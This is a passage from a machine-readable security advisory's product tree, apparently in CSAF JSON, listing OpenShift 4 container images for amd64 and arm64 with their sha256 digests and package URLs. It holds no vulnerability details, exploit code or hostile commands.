"name": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"product_id": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-haproxy-router-rhel9@sha256%3A75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-haproxy-router-rhel9\u0026tag=1781552170"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"product_id": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-tests-rhel9@sha256%3Aa1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-tests-rhel9\u0026tag=1781731819"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"product_id": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-agent-installer-api-server-rhel9@sha256%3Aaa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9\u0026tag=1781688119"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"product_id": "registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-agent-installer-node-agent-rhel9@sha256%3A938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9\u0026tag=1781551608"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"product_id": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-agent-installer-utils-rhel9@sha256%3A3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9\u0026tag=1781625716"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"product_id": "registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-baremetal-installer-rhel9@sha256%3A5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-baremetal-installer-rhel9\u0026tag=1781123187"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"product_id": "registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-cluster-config-api-rhel9@sha256%3A155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-cluster-config-api-rhel9\u0026tag=1781650723"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"product_id": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-cluster-ingress-rhel9-operator@sha256%3A5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator\u0026tag=1781567285"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"product_id": "registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-installer-rhel9@sha256%3A936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-installer-rhel9\u0026tag=1781129187"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"product_id": "registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-installer-artifacts-rhel9@sha256%3A3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-installer-artifacts-rhel9\u0026tag=1781129269"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"product_id": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-machine-config-rhel9-operator@sha256%3Ab7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-machine-config-rhel9-operator\u0026tag=1781730955"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"product_id": "registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-machine-os-images-rhel9@sha256%3A6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-machine-os-images-rhel9\u0026tag=1781139658"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"product": {
"name": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"product_id": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/network-tools-rhel9@sha256%3Af1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/network-tools-rhel9\u0026tag=1781731686"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"product_id": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-tools-rhel9@sha256%3Ad3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-tools-rhel9\u0026tag=1781730156"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64",
"product_id": "registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-vsphere-problem-detector-rhel9@sha256%3A4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9\u0026tag=1781104775"
}
}
}
],
"category": "architecture",
"name": "amd64"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"product_id": "registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-azure-file-csi-driver-rhel9@sha256%3A865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9\u0026tag=1781539200"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"product_id": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-cluster-node-tuning-rhel9-operator@sha256%3Ae3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator\u0026tag=1781206884"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"product": {
"name": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"product_id": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/driver-toolkit-rhel9@sha256%3Af31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/driver-toolkit-rhel9\u0026tag=1781294377"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"product_id": "registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-ironic-rhel9@sha256%3A6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-ironic-rhel9\u0026tag=1781294092"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"product_id": "registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-ironic-agent-rhel9@sha256%3A93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-ironic-agent-rhel9\u0026tag=1781181095"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"product_id": "registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-ironic-machine-os-downloader-rhel9@sha256%3A8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9\u0026tag=1781730438"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"product_id": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-monitoring-plugin-rhel9@sha256%3A51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9\u0026tag=1781731914"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"product_id": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-networking-console-plugin-rhel9@sha256%3Adbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9\u0026tag=1781718671"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"product_id": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-console-rhel9@sha256%3A3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-console-rhel9\u0026tag=1781732044"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"product_id": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-haproxy-router-rhel9@sha256%3A0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-haproxy-router-rhel9\u0026tag=1781552170"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"product_id": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-tests-rhel9@sha256%3A5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-tests-rhel9\u0026tag=1781731819"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"product_id": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-agent-installer-api-server-rhel9@sha256%3Aec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9\u0026tag=1781688119"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"product_id": "registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-agent-installer-node-agent-rhel9@sha256%3A99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9\u0026tag=1781551608"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"product_id": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-agent-installer-utils-rhel9@sha256%3A08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9\u0026tag=1781625716"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"product_id": "registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-baremetal-installer-rhel9@sha256%3A677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-baremetal-installer-rhel9\u0026tag=1781123187"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"product_id": "registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-cluster-config-api-rhel9@sha256%3A14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-cluster-config-api-rhel9\u0026tag=1781650723"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"product_id": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-cluster-ingress-rhel9-operator@sha256%3Ae082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator\u0026tag=1781567285"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"product_id": "registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-installer-rhel9@sha256%3A3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-installer-rhel9\u0026tag=1781129187"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"product_id": "registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-installer-artifacts-rhel9@sha256%3A1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-installer-artifacts-rhel9\u0026tag=1781129269"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"product_id": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"product_identification_helper": {
